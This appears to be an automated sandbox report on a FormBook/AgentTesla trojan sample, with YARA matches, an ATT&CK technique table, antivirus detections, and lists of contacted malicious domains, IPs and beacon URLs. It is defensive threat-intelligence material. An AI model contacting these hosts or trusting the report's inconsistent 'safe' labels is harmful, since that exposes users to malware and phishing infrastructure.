Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 14.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 14.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Shared Modules	Path Interception	712 Process Injection	1 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	4 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	712 Process Injection	NTDS	41 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	4 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Rundll32	DCSync	112 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	3 Software Packing	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
H4vBtZsi8xAKaMm.exe	65%	Virustotal		Browse
H4vBtZsi8xAKaMm.exe	47%	Metadefender		Browse
H4vBtZsi8xAKaMm.exe	86%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
H4vBtZsi8xAKaMm.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
14.0.MSBuild.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
14.0.MSBuild.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
14.0.MSBuild.exe.400000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
14.2.MSBuild.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.vinewineltd.com	0%	Avira URL Cloud	safe
http://www.hornnbach.comReferer:	0%	Avira URL Cloud	safe
http://www.verifyaxcx.com/u1p5/www.agengrosirfashion.com	0%	Avira URL Cloud	safe
http://www.freeclothesonline.com/u1p5/	1%	Virustotal		Browse
http://www.freeclothesonline.com/u1p5/	100%	Avira URL Cloud	malware
http://www.piertrafesa.com/u1p5/www.vinewineltd.com	0%	Avira URL Cloud	safe
http://www.freeclothesonline.com/u1p5/www.apeutah.com	100%	Avira URL Cloud	malware
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.rhoads-music.comReferer:	0%	Avira URL Cloud	safe
http://www.kailibianminwang.comReferer:	0%	Avira URL Cloud	safe
http://www.pbcgotv.com/u1p5/	100%	Avira URL Cloud	malware
http://www.piertrafesa.com	0%	Avira URL Cloud	safe
http://www.yannickrast.com/u1p5/www.rhoads-music.com	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.rhoads-music.com	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.apeutah.com/u1p5/www.jovam.xyz	100%	Avira URL Cloud	malware
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://bettingweb365.com/u1p5/?y4Mp=UXBCCV9Hg7LlUlEhFgBZZuvhtrkgDnenbWAOO9JvD	0%	Avira URL Cloud	safe
http://www.yannickrast.com/u1p5/	0%	Avira URL Cloud	safe
http://www.pbcgotv.com/u1p5/www.kailibianminwang.com	100%	Avira URL Cloud	malware
http://www.verifyaxcx.comReferer:	0%	Avira URL Cloud	safe
http://www.apeutah.com	0%	Avira URL Cloud	safe
http://www.dasmonica.comReferer:	0%	Avira URL Cloud	safe
http://www.hokabrazil.com/u1p5/www.hornnbach.com	100%	Avira URL Cloud	phishing
http://www.hornnbach.com/u1p5/www.piertrafesa.com	0%	Avira URL Cloud	safe
http://www.dasmonica.com/u1p5/www.freeclothesonline.com	0%	Avira URL Cloud	safe
http://www.marymarinho.com/u1p5/?y4Mp=jmW97e0DcxHZsiDt+DmiFhziWrO1jPfkTbEIn6OHXnuLtYKLIrDwNEu/EQYt2xDuBHghXZP9DQ==&D0GHx=5jNT	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.piertrafesa.com/u1p5/	0%	Avira URL Cloud	safe
http://www.jovam.xyz/u1p5/www.hokabrazil.com	100%	Avira URL Cloud	phishing
http://www.jovam.xyz	0%	Avira URL Cloud	safe
http://www.apeutah.comReferer:	0%	Avira URL Cloud	safe
http://www.pbcgotv.comReferer:	0%	Avira URL Cloud	safe
http://www.kailibianminwang.com	0%	Avira URL Cloud	safe
http://www.vzn2aai2qj.icuReferer:	0%	Avira URL Cloud	safe
http://www.vinewineltd.com/u1p5/www.pbcgotv.com	100%	Avira URL Cloud	malware
http://www.dasmonica.com/u1p5/	0%	Avira URL Cloud	safe
http://www.vzn2aai2qj.icu/u1p5/www.deutscheno1.com	0%	Avira URL Cloud	safe
http://www.agengrosirfashion.com/u1p5/	100%	Avira URL Cloud	malware
http://www.freeclothesonline.comReferer:	0%	Avira URL Cloud	safe
http://www.hokabrazil.comReferer:	0%	Avira URL Cloud	safe
http://www.jovam.xyz/u1p5/	100%	Avira URL Cloud	phishing
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.jovam.xyzReferer:	0%	Avira URL Cloud	safe
http://www.verifyaxcx.com	0%	Avira URL Cloud	safe
http://www.deutscheno1.com/u1p5/	0%	Avira URL Cloud	safe
http://www.pbcgotv.com	0%	Avira URL Cloud	safe
http://www.piertrafesa.comReferer:	0%	Avira URL Cloud	safe
http://www.yannickrast.comReferer:	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.dasmonica.com	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.kailibianminwang.com/u1p5/	100%	Avira URL Cloud	malware
http://www.typography.netD	0%	URL Reputation	safe
http://www.agengrosirfashion.com/u1p5/www.dasmonica.com	100%	Avira URL Cloud	malware
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.agengrosirfashion.comReferer:	0%	Avira URL Cloud	safe
http://www.apeutah.com/u1p5/	100%	Avira URL Cloud	malware
http://www.hokabrazil.com/u1p5/	100%	Avira URL Cloud	phishing
http://www.freeclothesonline.com	0%	Avira URL Cloud	safe
http://www.vinewineltd.comReferer:	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.rhoads-music.com/u1p5/www.verifyaxcx.com	0%	Avira URL Cloud	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.hokabrazil.com	100%	Avira URL Cloud	phishing
http://www.yannickrast.com	0%	Avira URL Cloud	safe
http://www.agengrosirfashion.com	0%	Avira URL Cloud	safe
http://www.vinewineltd.com/u1p5/	100%	Avira URL Cloud	malware
http://www.fontbureau.comF	0%	URL Reputation	safe
http://www.bettingweb365.com/u1p5/?y4Mp=UXBCCV9Hg7LlUlEhFgBZZuvhtrkgDnenbWAOO9JvD+HvWaQ2ttROIxFaz7G4unDmw6qRWL3K2g==&D0GHx=5jNT	0%	Avira URL Cloud	safe
http://www.verifyaxcx.com/u1p5/	0%	Avira URL Cloud	safe
http://www.vzn2aai2qj.icu	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.hornnbach.com/u1p5/	0%	Avira URL Cloud	safe
http://www.deutscheno1.com/u1p5/www.yannickrast.com	0%	Avira URL Cloud	safe
http://www.fontbureau.comm	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.kailibianminwang.com/u1p5/.	100%	Avira URL Cloud	malware
http://www.hornnbach.com	0%	Avira URL Cloud	safe
http://www.vzn2aai2qj.icu/u1p5/	0%	Avira URL Cloud	safe
http://www.deutscheno1.com	0%	Avira URL Cloud	safe
http://www.shitcoin.team/u1p5/?y4Mp=vL5j7Eq3si3+pqkwq9GVQc9zWaxA/P/bTusMaerk9f3EW+lc0CCc1NhXRSl0Kt4KYFMx8zSAYw==&D0GHx=5jNT	0%	Avira URL Cloud	safe
http://www.rhoads-music.com/u1p5/	0%	Avira URL Cloud	safe
http://crl.v	0%	URL Reputation	safe
http://www.deutscheno1.comReferer:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bettingweb365.com	92.222.235.170	true	false	high
www.deutscheno1.com	34.149.59.90	true	false	high
marymarinho.com	192.0.78.24	true	false	high
shitcoin.team	107.180.34.104	true	false	high
www.shitcoin.team	unknown	unknown	false	high
www.bettingweb365.com	unknown	unknown	false	high
www.vzn2aai2qj.icu	unknown	unknown	false	high
www.marymarinho.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.marymarinho.com/u1p5/?y4Mp=jmW97e0DcxHZsiDt+DmiFhziWrO1jPfkTbEIn6OHXnuLtYKLIrDwNEu/EQYt2xDuBHghXZP9DQ==&D0GHx=5jNT	true	Avira URL Cloud: safe	unknown
http://www.bettingweb365.com/u1p5/?y4Mp=UXBCCV9Hg7LlUlEhFgBZZuvhtrkgDnenbWAOO9JvD+HvWaQ2ttROIxFaz7G4unDmw6qRWL3K2g==&D0GHx=5jNT	true	Avira URL Cloud: safe	unknown
http://www.shitcoin.team/u1p5/?y4Mp=vL5j7Eq3si3+pqkwq9GVQc9zWaxA/P/bTusMaerk9f3EW+lc0CCc1NhXRSl0Kt4KYFMx8zSAYw==&D0GHx=5jNT	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.vinewineltd.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hornnbach.comReferer:	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.verifyaxcx.com/u1p5/www.agengrosirfashion.com	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.freeclothesonline.com/u1p5/	explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.fontbureau.com/designers	H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	false		high
